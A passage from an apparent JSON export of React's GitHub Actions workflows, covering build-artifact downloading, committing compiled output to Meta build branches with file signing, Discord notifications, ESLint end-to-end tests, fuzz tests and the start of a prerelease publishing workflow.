hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd scripts/release install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Download artifacts for base revision\n        # The build could have been generated from a fork, so we must download the build without\n        # any verification. This is safe since we only use this for sizebot calculation and the\n        # unverified artifact is not used. Additionally this workflow runs in the pull_request\n        # trigger so only restricted permissions are available.\n        run: |\n          GH_TOKEN=${{ github.token }} scripts/release/download-experimental-build.js --commit=$(git rev-parse ${{ github.event.pull_request.base.sha }}) ${{ (github.event.pull_request.head.repo.full_name != github.repository && '--noVerify') || ''}}\n          mv ./build ./base-build\n      - name: Delete extraneous files\n        # TODO: The `download-experimental-build` script copies the npm\n        # packages into the `node_modules` directory. This is a historical\n        # quirk of how the release script works. Let's pretend they\n        # don't exist.\n        run: rm -rf ./base-build/node_modules\n      - name: Display structure of base-build from origin/main\n        run: ls -R base-build\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - name: Restore archived build for PR\n        uses: actions/download-artifact@v4\n        with:\n          pattern: _build_*\n          path: build\n          merge-multiple: true\n      - name: Scrape warning messages\n        run: |\n          mkdir -p ./build/__test_utils__\n          node ./scripts/print-warnings/print-warnings.js > build/__test_utils__/ReactAllWarnings.js\n      - name: Display structure of build for PR\n        run: ls -R build\n      - run: echo ${{ github.event.inputs.commit_sha != '' && github.event.inputs.commit_sha || github.event.pull_request.head.sha || github.sha }} >> build/COMMIT_SHA\n      - run: node ./scripts/tasks/danger\n      - name: Archive sizebot results\n        uses: actions/upload-artifact@v4\n        with:\n          name: sizebot-message\n          path: sizebot-message.md\n          if-no-files-found: ignore\n"
  },
  {
    "path": ".github/workflows/runtime_commit_artifacts.yml",
    "content": "name: (Runtime) Commit Artifacts for Meta WWW and fbsource V2\n\non:\n  workflow_run:\n    workflows: [\"(Runtime) Build and Test\"]\n    types: [completed]\n    branches:\n      - main\n  workflow_dispatch:\n    inputs:\n      commit_sha:\n        required: false\n        type: string\n      force:\n        description: 'Force a commit to the builds/... branches'\n        required: true\n        default: false\n        type: boolean\n      dry_run:\n        description: Perform a dry run (run everything except push)\n        required: true\n        default: false\n        type: boolean\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n\njobs:\n  download_artifacts:\n    runs-on: ubuntu-latest\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    steps:\n      - uses: actions/checkout@v4\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-release-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'scripts/release/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd scripts/release install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Download artifacts for base revision\n        run: |\n          GH_TOKEN=${{ github.token }} scripts/release/download-experimental-build.js --commit=${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }}\n      - name: Display structure of build\n        run: ls -R build\n      - name: Archive build\n        uses: actions/upload-artifact@v4\n        with:\n          name: build\n          path: build/\n          if-no-files-found: error\n\n\n  process_artifacts:\n    runs-on: ubuntu-latest\n    needs: [download_artifacts]\n    outputs:\n      www_branch_count: ${{ steps.check_branches.outputs.www_branch_count }}\n      fbsource_branch_count: ${{ steps.check_branches.outputs.fbsource_branch_count }}\n      last_version_classic: ${{ steps.get_last_version_www.outputs.last_version_classic }}\n      last_version_modern: ${{ steps.get_last_version_www.outputs.last_version_modern }}\n      last_version_rn: ${{ steps.get_last_version_rn.outputs.last_version_rn }}\n      current_version_classic: ${{ steps.get_current_version.outputs.current_version_classic }}\n      current_version_modern: ${{ steps.get_current_version.outputs.current_version_modern }}\n      current_version_rn: ${{ steps.get_current_version.outputs.current_version_rn }}\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: builds/facebook-www\n      - name: \"Get last version string for www\"\n        id: get_last_version_www\n        run: |\n          # Empty checks only needed for backwards compatibility,can remove later.\n          VERSION_CLASSIC=$( [ -f ./compiled/facebook-www/VERSION_CLASSIC ] && cat ./compiled/facebook-www/VERSION_CLASSIC || echo '' )\n          VERSION_MODERN=$( [ -f ./compiled/facebook-www/VERSION_MODERN ] && cat ./compiled/facebook-www/VERSION_MODERN || echo '' )\n          echo \"Last classic version is $VERSION_CLASSIC\"\n          echo \"Last modern version is $VERSION_MODERN\"\n          echo \"last_version_classic=$VERSION_CLASSIC\" >> \"$GITHUB_OUTPUT\"\n          echo \"last_version_modern=$VERSION_MODERN\" >> \"$GITHUB_OUTPUT\"\n      - uses: actions/checkout@v4\n        with:\n          ref: builds/facebook-fbsource\n      - name: \"Get last version string for rn\"\n        id: get_last_version_rn\n        run: |\n          # Empty checks only needed for backwards compatibility,can remove later.\n          VERSION_NATIVE_FB=$( [ -f ./compiled-rn/VERSION_NATIVE_FB ] && cat ./compiled-rn/VERSION_NATIVE_FB || echo '' )\n          echo \"Last rn version is $VERSION_NATIVE_FB\"\n          echo \"last_version_rn=$VERSION_NATIVE_FB\" >> \"$GITHUB_OUTPUT\"\n      - uses: actions/checkout@v4\n      - name: \"Check branches\"\n        id: check_branches\n        run: |\n          echo \"www_branch_count=$(git ls-remote --heads origin \"refs/heads/meta-www\" | wc -l)\" >> \"$GITHUB_OUTPUT\"\n          echo \"fbsource_branch_count=$(git ls-remote --heads origin \"refs/heads/meta-fbsource\" | wc -l)\" >> \"$GITHUB_OUTPUT\"\n      - name: Restore downloaded build\n        uses: actions/download-artifact@v4\n        with:\n          name: build\n          path: build\n      - name: Display structure of build\n        run: ls -R build\n      - name: Strip @license from eslint plugin and react-refresh\n        run: |\n          sed -i -e 's/ @license React*//' \\\n            build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \\\n            build/facebook-www/ESLintPluginReactHooks-dev.modern.js \\\n            build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js\n      - name: Insert @headers into eslint plugin and react-refresh\n        run: |\n          sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\\n *\\n * @noformat\\n * @nolint\\n * @lightSyntaxTransform\\n * @preventMunge\\n * @oncall react_core/' \\\n            build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \\\n            build/facebook-www/ESLintPluginReactHooks-dev.modern.js \\\n            build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js\n      - name: Move relevant files for React in www into compiled\n        run: |\n          # Move the facebook-www folder into compiled\n          mkdir ./compiled\n          mv build/facebook-www ./compiled\n\n          # Move ReactAllWarnings.js to facebook-www\n          mkdir ./compiled/facebook-www/__test_utils__\n          mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js\n\n          # Copy eslint-plugin-react-hooks (www build with feature flags)\n          mkdir ./compiled/eslint-plugin-react-hooks\n          cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \\\n            ./compiled/eslint-plugin-react-hooks/index.js\n\n          # Move unstable_server-external-runtime.js into facebook-www\n          mv build/oss-experimental/react-dom/unstable_server-external-runtime.js \\\n            ./compiled/facebook-www/unstable_server-external-runtime.js\n\n          # Move react-refresh-babel.development.js into babel-plugin-react-refresh\n          mkdir ./compiled/babel-plugin-react-refresh\n          mv build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js \\\n            ./compiled/babel-plugin-react-refresh/index.js\n\n          ls -R ./compiled\n      - name: Move relevant files for React in fbsource into compiled-rn\n        run: |\n          BASE_FOLDER='compiled-rn/facebook-fbsource/xplat/js'\n          mkdir -p ${BASE_FOLDER}/react-native-github/Libraries/Renderer/\n          mkdir -p ${BASE_FOLDER}/RKJSModules/vendor/react/{scheduler,react,react-dom,react-is,react-test-renderer}/\n\n          # Move React Native renderer\n          mv build/react-native/implementations/ $BASE_FOLDER/react-native-github/Libraries/Renderer/\n          mv build/react-native/shims/ $BASE_FOLDER/react-native-github/Libraries/Renderer/\n          mv build/facebook-react-native/scheduler/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/scheduler/\n          mv build/facebook-react-native/react/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react/\n          mv build/facebook-react-native/react-dom/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-dom/\n          mv build/facebook-react-native/react-is/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-is/\n          mv build/facebook-react-native/react-test-renderer/cjs/ $BASE_FOLDER/RKJSModules/vendor/react/react-test-renderer/\n\n          # Delete the OSS renderers, these are sync'd to RN separately.\n          RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/\n          rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js\n          \n          # Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.\n          SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/\n          rm $SHIM_FOLDER/ReactNative.js\n\n          # Copy eslint-plugin-react-hooks\n          # NOTE: This is different from www, here we include the full package\n          #       including package.json to include dependencies in fbsource.\n          mkdir \"$BASE_FOLDER/tools\"\n          cp -r build/oss-experimental/eslint-plugin-react-hooks \"$BASE_FOLDER/tools\"\n\n          # Move React Native version file\n          mv build/facebook-react-native/VERSION_NATIVE_FB ./compiled-rn/VERSION_NATIVE_FB\n\n          ls -R ./compiled-rn\n      - name: Add REVISION files\n        run: |\n          echo ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} >> ./compiled/facebook-www/REVISION\n          cp ./compiled/facebook-www/REVISION ./compiled/facebook-www/REVISION_TRANSFORMS\n          echo ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} >> ./compiled-rn/facebook-fbsource/xplat/js/react-native-github/Libraries/Renderer/REVISION\n      - name: \"Get current version string\"\n        id: get_current_version\n        run: |\n          VERSION_CLASSIC=$(cat ./compiled/facebook-www/VERSION_CLASSIC)\n          VERSION_MODERN=$(cat ./compiled/facebook-www/VERSION_MODERN)\n          VERSION_NATIVE_FB=$(cat ./compiled-rn/VERSION_NATIVE_FB)\n          echo \"Current classic version is $VERSION_CLASSIC\"\n          echo \"Current modern version is $VERSION_MODERN\"\n          echo \"Current rn version is $VERSION_NATIVE_FB\"\n          echo \"current_version_classic=$VERSION_CLASSIC\" >> \"$GITHUB_OUTPUT\"\n          echo \"current_version_modern=$VERSION_MODERN\" >> \"$GITHUB_OUTPUT\"\n          echo \"current_version_rn=$VERSION_NATIVE_FB\" >> \"$GITHUB_OUTPUT\"\n      - uses: actions/upload-artifact@v4\n        with:\n          name: compiled\n          path: compiled/\n          if-no-files-found: error\n      - uses: actions/upload-artifact@v4\n        with:\n          name: compiled-rn\n          path: compiled-rn/\n          if-no-files-found: error\n\n  commit_www_artifacts:\n    needs: [download_artifacts, process_artifacts]\n    if: inputs.force == true || (github.ref == 'refs/heads/main' && needs.process_artifacts.outputs.www_branch_count == '0')\n    runs-on: ubuntu-latest\n    permissions:\n      # Used to push a commit to builds/facebook-www\n      contents: write\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: builds/facebook-www\n      - name: Ensure clean directory\n        run: rm -rf compiled\n      - uses: actions/download-artifact@v4\n        with:\n          name: compiled\n          path: compiled/\n      - name: Revert version changes\n        if: needs.process_artifacts.outputs.last_version_classic != '' && needs.process_artifacts.outputs.last_version_modern != ''\n        env:\n          CURRENT_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.current_version_classic }}\n          CURRENT_VERSION_MODERN: ${{ needs.process_artifacts.outputs.current_version_modern }}\n          LAST_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.last_version_classic }}\n          LAST_VERSION_MODERN: ${{ needs.process_artifacts.outputs.last_version_modern }}\n        run: |\n          echo \"Reverting $CURRENT_VERSION_CLASSIC to $LAST_VERSION_CLASSIC\"\n          grep -rl \"$CURRENT_VERSION_CLASSIC\" ./compiled || echo \"No files found with $CURRENT_VERSION_CLASSIC\"\n          grep -rl \"$CURRENT_VERSION_CLASSIC\" ./compiled | xargs -r sed -i -e \"s/$CURRENT_VERSION_CLASSIC/$LAST_VERSION_CLASSIC/g\"\n          grep -rl \"$CURRENT_VERSION_CLASSIC\" ./compiled || echo \"Classic version reverted\"\n          echo \"====================\"\n          echo \"Reverting $CURRENT_VERSION_MODERN to $LAST_VERSION_MODERN\"\n          grep -rl \"$CURRENT_VERSION_MODERN\" ./compiled || echo \"No files found with $CURRENT_VERSION_MODERN\"\n          grep -rl \"$CURRENT_VERSION_MODERN\" ./compiled | xargs -r sed -i -e \"s/$CURRENT_VERSION_MODERN/$LAST_VERSION_MODERN/g\"\n          grep -rl \"$CURRENT_VERSION_MODERN\" ./compiled || echo \"Modern version reverted\"\n      - name: Check for changes\n        if: inputs.force != true\n        id: check_should_commit\n        run: |\n          echo \"Full git status\"\n          git add .\n          git status\n          echo \"====================\"\n          if git status --porcelain | grep -qv '/REVISION'; then\n            echo \"Changes detected\"\n            echo \"===== Changes =====\"\n            git --no-pager diff -U0 | grep '^[+-]' | head -n 50\n            echo \"===================\"\n            echo \"should_commit=true\" >> \"$GITHUB_OUTPUT\"\n          else\n            echo \"No Changes detected\"\n            echo \"should_commit=false\" >> \"$GITHUB_OUTPUT\"\n          fi\n      - name: Re-apply version changes\n        if: inputs.force == true || (steps.check_should_commit.outputs.should_commit == 'true' && needs.process_artifacts.outputs.last_version_classic != '' && needs.process_artifacts.outputs.last_version_modern != '')\n        env:\n          CURRENT_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.current_version_classic }}\n          CURRENT_VERSION_MODERN: ${{ needs.process_artifacts.outputs.current_version_modern }}\n          LAST_VERSION_CLASSIC: ${{ needs.process_artifacts.outputs.last_version_classic }}\n          LAST_VERSION_MODERN: ${{ needs.process_artifacts.outputs.last_version_modern }}\n        run: |\n          echo \"Re-applying $LAST_VERSION_CLASSIC to $CURRENT_VERSION_CLASSIC\"\n          grep -rl \"$LAST_VERSION_CLASSIC\" ./compiled || echo \"No files found with $LAST_VERSION_CLASSIC\"\n          grep -rl \"$LAST_VERSION_CLASSIC\" ./compiled | xargs -r sed -i -e \"s/$LAST_VERSION_CLASSIC/$CURRENT_VERSION_CLASSIC/g\"\n          grep -rl \"$LAST_VERSION_CLASSIC\" ./compiled || echo \"Classic version re-applied\"\n          echo \"====================\"\n          echo \"Re-applying $LAST_VERSION_MODERN to $CURRENT_VERSION_MODERN\"\n          grep -rl \"$LAST_VERSION_MODERN\" ./compiled || echo \"No files found with $LAST_VERSION_MODERN\"\n          grep -rl \"$LAST_VERSION_MODERN\" ./compiled | xargs -r sed -i -e \"s/$LAST_VERSION_MODERN/$CURRENT_VERSION_MODERN/g\"\n          grep -rl \"$LAST_VERSION_MODERN\" ./compiled || echo \"Classic version re-applied\"\n      - name: Will commit these changes\n        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'\n        run: |\n          git add .\n          git status\n      - name: Check commit message\n        if: inputs.dry_run\n        run: |\n          git fetch origin --quiet\n          git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:\"%B\"\n      - name: Commit changes to branch\n        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'\n        run: |\n          git config --global user.email \"${{ format('{0}@users.noreply.github.com', github.triggering_actor) }}\"\n          git config --global user.name \"${{ github.triggering_actor }}\"\n\n          git fetch origin --quiet\n          git commit -m \"$(git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:'%B%n%nDiffTrain build for [${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }}](https://github.com/facebook/react/commit/${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha}})')\" || echo \"No changes to commit\"\n      - name: Push changes to branch\n        if: inputs.dry_run == false && (inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true')\n        run: git push\n\n  commit_fbsource_artifacts:\n    needs: [download_artifacts, process_artifacts]\n    permissions:\n      # Used to push a commit to builds/facebook-fbsource\n      contents: write\n    if: inputs.force == true || (github.ref == 'refs/heads/main' && needs.process_artifacts.outputs.fbsource_branch_count == '0')\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: builds/facebook-fbsource\n      - name: Ensure clean directory\n        run: rm -rf compiled-rn\n      - uses: actions/download-artifact@v4\n        with:\n          name: compiled-rn\n          path: compiled-rn/\n      - name: Revert version changes\n        if: needs.process_artifacts.outputs.last_version_rn != ''\n        env:\n          CURRENT_VERSION: ${{ needs.process_artifacts.outputs.current_version_rn }}\n          LAST_VERSION: ${{ needs.process_artifacts.outputs.last_version_rn }}\n        run: |\n          echo \"Reverting $CURRENT_VERSION to $LAST_VERSION\"\n          grep -rl \"$CURRENT_VERSION\" ./compiled-rn || echo \"No files found with $CURRENT_VERSION\"\n          grep -rl \"$CURRENT_VERSION\" ./compiled-rn | xargs -r sed -i -e \"s/$CURRENT_VERSION/$LAST_VERSION/g\"\n          grep -rl \"$CURRENT_VERSION\" ./compiled-rn || echo \"Version reverted\"\n      - name: Check for changes\n        if: inputs.force != 'true'\n        id: check_should_commit\n        run: |\n          echo \"Full git status\"\n          git add .\n          git --no-pager diff -U0 --cached | grep '^[+-]' | head -n 100\n          echo \"====================\"\n          # Ignore REVISION or lines removing @generated headers.\n          if git diff --cached ':(exclude)*REVISION' ':(exclude)*/eslint-plugin-react-hooks/package.json' | grep -vE \"^(@@|diff|index|\\-\\-\\-|\\+\\+\\+|\\- \\* @generated SignedSource)\" | grep \"^[+-]\" > /dev/null; then\n            echo \"Changes detected\"\n            echo \"===== Changes =====\"\n            git --no-pager diff --cached ':(exclude)*REVISION' ':(exclude)*/eslint-plugin-react-hooks/package.json' | grep -vE \"^(@@|diff|index|\\-\\-\\-|\\+\\+\\+|\\- \\* @generated SignedSource)\" | grep \"^[+-]\" | head -n 50\n            echo \"===================\"\n            echo \"should_commit=true\" >> \"$GITHUB_OUTPUT\"\n          else\n            echo \"No Changes detected\"\n            echo \"should_commit=false\" >> \"$GITHUB_OUTPUT\"\n          fi\n      - name: Re-apply version changes\n        if: inputs.force == true || (steps.check_should_commit.outputs.should_commit == 'true' && needs.process_artifacts.outputs.last_version_rn != '')\n        env:\n          CURRENT_VERSION: ${{ needs.process_artifacts.outputs.current_version_rn }}\n          LAST_VERSION: ${{ needs.process_artifacts.outputs.last_version_rn }}\n        run: |\n          echo \"Re-applying $LAST_VERSION to $CURRENT_VERSION\"\n          grep -rl \"$LAST_VERSION\" ./compiled-rn || echo \"No files found with $LAST_VERSION\"\n          grep -rl \"$LAST_VERSION\" ./compiled-rn | xargs -r sed -i -e \"s/$LAST_VERSION/$CURRENT_VERSION/g\"\n          grep -rl \"$LAST_VERSION\" ./compiled-rn || echo \"Version re-applied\"\n      - name: Add files for signing\n        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'\n        run: |\n          echo \":\"\n          git add .\n      - name: Signing files\n        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'\n        uses: actions/github-script@v7\n        with:\n          script: |\n            // TODO: Move this to a script file.\n            // We currently can't call scripts from the repo because\n            // at this point in the workflow, we're on the compiled\n            // artifact branch (so the scripts don't exist).\n            // We can fix this with a composite action in the main repo.\n            // This script is duplicated above.\n            const fs = require('fs');\n            const crypto = require('crypto');\n            const {execSync} = require('child_process');\n\n            // TODO: when we move this to a script, we can use this from npm.\n            // Copy of signedsource since we can't install deps on this branch.\n            const GENERATED = '@' + 'generated';\n            const NEWTOKEN = '<<SignedSource::*O*zOeWoEQle#+L!plEphiEmie@IsG>>';\n            const PATTERN = new RegExp(`${GENERATED} (?:SignedSource<<([a-f0-9]{32})>>)`);\n\n            const TokenNotFoundError = new Error(\n              `SignedSource.signFile(...): Cannot sign file without token: ${NEWTOKEN}`\n            );\n\n            function hash(data, encoding) {\n              const md5sum = crypto.createHash('md5');\n              md5sum.update(data, encoding);\n              return md5sum.digest('hex');\n            }\n\n            const SignedSource = {\n              getSigningToken() {\n                return `${GENERATED} ${NEWTOKEN}`;\n              },\n              isSigned(data) {\n                return PATTERN.exec(data) != null;\n              },\n              signFile(data) {\n                if (!data.includes(NEWTOKEN)) {\n                  if (SignedSource.isSigned(data)) {\n                    // Signing a file that was previously signed.\n                   data = data.replace(PATTERN, SignedSource.getSigningToken());\n                  } else {\n                    throw TokenNotFoundError;\n                  }\n                }\n                return data.replace(NEWTOKEN, `SignedSource<<${hash(data, 'utf8')}>>`);\n              },\n            };\n\n            const directory = './compiled-rn';\n            console.log('Signing files in directory:', directory);\n            try {\n              const result = execSync(`git status --porcelain ${directory}`, {encoding: 'utf8'});\n              console.log(result);\n\n              // Parse the git status output to get file paths!\n              const files = result.split('\\n').filter(file => file.endsWith('.js'));\n\n              if (files.length === 0) {\n                throw new Error(\n                  'git status returned no files to sign. this job should not have run.'\n                );\n              } else {\n                files.forEach(line => {\n                  let file = null;\n                  if (line.startsWith('D ')) {\n                    return;\n                  } else if (line.startsWith('R ')) {\n                    file = line.slice(line.indexOf('->') + 3);\n                  } else {\n                    file = line.slice(3).trim();\n                  }\n                  if (file) {\n                    console.log('  Signing file:', file);\n                    const originalContents = fs.readFileSync(file, 'utf8');\n                    const signedContents = SignedSource.signFile(\n                      originalContents\n                        // Need to add the header in, since it's not inserted at build time.\n                        .replace(' */\\n', ` * ${SignedSource.getSigningToken()}\\n */\\n`)\n                    );\n\n                    fs.writeFileSync(file, signedContents, 'utf8');\n                  }\n                });\n              }\n            } catch (e) {\n              process.exitCode = 1;\n              console.error('Error signing files:', e);\n            }\n      - name: Will commit these changes\n        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'\n        run: |\n          git add .\n          git status\n      - name: Check commit message\n        if: inputs.dry_run\n        run: |\n          git fetch origin --quiet\n          git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:\"%B\"\n      - name: Commit changes to branch\n        if: inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true'\n        run: |\n          git config --global user.email \"${{ format('{0}@users.noreply.github.com', github.triggering_actor) }}\"\n          git config --global user.name \"${{ github.triggering_actor }}\"\n\n          git fetch origin --quiet\n          git commit -m \"$(git show ${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }} --no-patch --pretty=format:'%B%n%nDiffTrain build for [${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha }}](https://github.com/facebook/react/commit/${{ inputs.commit_sha || github.event.workflow_run.head_sha || github.sha}})')\" || echo \"No changes to commit\"\n      - name: Push changes to branch\n        if: inputs.dry_run == false && (inputs.force == true || steps.check_should_commit.outputs.should_commit == 'true')\n        run: git push\n"
  },
  {
    "path": ".github/workflows/runtime_discord_notify.yml",
    "content": "name: (Runtime) Discord Notify\n\non:\n  pull_request_target:\n    types: [opened, ready_for_review]\n    paths-ignore:\n      - packages/react-devtools**\n      - compiler/**\n      - .github/workflows/compiler_**.yml\n      - .github/workflows/devtools**.yml\n\npermissions: {}\n\njobs:\n  check_access:\n    if: ${{ github.event.pull_request.draft == false }}\n    runs-on: ubuntu-latest\n    outputs:\n      is_member_or_collaborator: ${{ steps.check_is_member_or_collaborator.outputs.is_member_or_collaborator }}\n    steps:\n      - run: echo ${{ github.event.pull_request.author_association }}\n      - name: Check is member or collaborator\n        id: check_is_member_or_collaborator\n        if: ${{ github.event.pull_request.author_association == 'MEMBER' || github.event.pull_request.author_association == 'COLLABORATOR' }}\n        run: echo \"is_member_or_collaborator=true\" >> \"$GITHUB_OUTPUT\"\n\n  check_maintainer:\n    if: ${{ needs.check_access.outputs.is_member_or_collaborator == 'true' || needs.check_access.outputs.is_member_or_collaborator == true }}\n    needs: [check_access]\n    uses: facebook/react/.github/workflows/shared_check_maintainer.yml@main\n    permissions:\n      # Used by check_maintainer\n      contents: read\n    with:\n      actor: ${{ github.event.pull_request.user.login }}\n\n  notify:\n    if: ${{ needs.check_maintainer.outputs.is_core_team == 'true' }}\n    needs: check_maintainer\n    runs-on: ubuntu-latest\n    steps:\n      - name: Discord Webhook Action\n        uses: tsickert/discord-webhook@86dc739f3f165f16dadc5666051c367efa1692f4\n        with:\n          webhook-url: ${{ secrets.DISCORD_WEBHOOK_URL }}\n          embed-author-name: ${{ github.event.pull_request.user.login }}\n          embed-author-url: ${{ github.event.pull_request.user.html_url }}\n          embed-author-icon-url: ${{ github.event.pull_request.user.avatar_url }}\n          embed-title: '#${{ github.event.number }} (+${{github.event.pull_request.additions}} -${{github.event.pull_request.deletions}}): ${{ github.event.pull_request.title }}'\n          embed-description: ${{ github.event.pull_request.body }}\n          embed-url: ${{ github.event.pull_request.html_url }}\n"
  },
  {
    "path": ".github/workflows/runtime_eslint_plugin_e2e.yml",
    "content": "name: (Runtime) ESLint Plugin E2E\n\non:\n  push:\n    branches: [main]\n  pull_request:\n    paths-ignore:\n      - compiler/**\n\npermissions: {}\n\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref_name }}-${{ github.event.pull_request.number || github.run_id }}\n  cancel-in-progress: true\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  # ----- TESTS -----\n  test:\n    name: ESLint v${{ matrix.eslint_major }}\n    runs-on: ubuntu-latest\n    strategy:\n      fail-fast: false\n      matrix:\n        eslint_major:\n          - \"6\"\n          - \"7\"\n          - \"8\"\n          - \"9\"\n          - \"10\"\n    steps:\n      - uses: actions/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha || github.sha }}\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: |\n            yarn.lock\n            compiler/yarn.lock\n      - name: Restore cached node_modules\n        uses: actions/cache@v4\n        id: node_modules\n        with:\n          path: |\n            **/node_modules\n          key: runtime-and-compiler-eslint_e2e-node_modules-v6-${{ runner.arch }}-${{ runner.os }}-${{ hashFiles('yarn.lock', 'compiler/yarn.lock', 'fixtures/eslint-v*/yarn.lock') }}\n      - name: Ensure clean build directory\n        run: rm -rf build\n      - run: yarn install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - run: yarn --cwd compiler install --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Install fixture dependencies\n        working-directory: ./fixtures/eslint-v${{ matrix.eslint_major }}\n        run: yarn --frozen-lockfile\n        if: steps.node_modules.outputs.cache-hit != 'true'\n      - name: Build plugin\n        working-directory: fixtures/eslint-v${{ matrix.eslint_major }}\n        run: node build.mjs\n      - name: Run lint test\n        working-directory: ./fixtures/eslint-v${{ matrix.eslint_major }}\n        run: yarn lint\n"
  },
  {
    "path": ".github/workflows/runtime_fuzz_tests.yml",
    "content": "name: (Runtime) Fuzz tests\n\non:\n  schedule:\n    - cron: 0 * * * *\n  push:\n    branches:\n      - main\n  workflow_dispatch:\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n\njobs:\n  test_fuzz:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v4.1.0\n    - uses: actions/setup-node@v4\n      with:\n        node-version-file: '.nvmrc'\n        cache: 'yarn'\n    - name: Install dependencies\n      run: yarn install --frozen-lockfile\n      env:\n        ELECTRON_SKIP_BINARY_DOWNLOAD: \"1\"\n      shell: bash\n    - name: Run fuzz tests\n      run: |-\n        FUZZ_TEST_SEED=$RANDOM yarn test fuzz --ci\n        FUZZ_TEST_SEED=$RANDOM yarn test --prod fuzz --ci\n"
  },
  {
    "path": ".github/workflows/runtime_prereleases.yml",
    "content": "name: (Runtime) Publish Prereleases\n\non:\n  workflow_call:\n    inputs:\n      commit_sha:\n        required: true\n        default: ''\n        type: string\n      release_channel:\n        required: true\n        type: string\n      dist_tag:\n        required: true\n        type: string\n      enableFailureNotification:\n        description: 'Whether to notify the team on Discord when the release fails. Useful if this workflow is called from an automation.'\n        required: false\n        type: boolean\n      only_packages:\n        description: Packages to publish (space separated)\n        type: string\n      skip_packages:\n        description: Packages to NOT publish (space separated)\n        type: string\n      dry:\n        required: true\n        description: Dry run instead of publish?\n        type: boolean\n        default: true\n    secrets:\n      DISCORD_WEBHOOK_URL:\n        description: 'Discord webhook URL to notify on failure. Only required if enableFailureNotification is true.'\n        required: false\n      GH_TOKEN:\n        required: true\n      NPM_TOKEN:\n        required: true\n\npermissions: {}\n\nenv:\n  TZ: /usr/share/zoneinfo/America/Los_Angeles\n  # https://github.com/actions/cache/blob/main/tips-and-workarounds.md#cache-segment-restore-timeout\n  SEGMENT_DOWNLOAD_TIMEOUT_MINS: 1\n  NPM_TOKEN: ${{ secrets.NPM_TOKEN }}\n\njobs:\n  publish_prerelease:\n    name: Publish prelease (${{ inputs.release_channel }}) ${{ inputs.commit_sha }} @${{ inputs.dist_tag }}\n    runs-on: ubuntu-latest\n    permissions:\n      # We use github.token to download the build artifact from a previous runtime_build_and_test.yml run\n      actions: read\n    steps:\n      - uses: actions/checkout@v4\n      - uses: actions/setup-node@v4\n        with:\n          node-version-file: '.nvmrc'\n          cache: yarn\n          cache-dependency-path: yarn.lock\n      - name: Restore cached node_modules\n        uses: 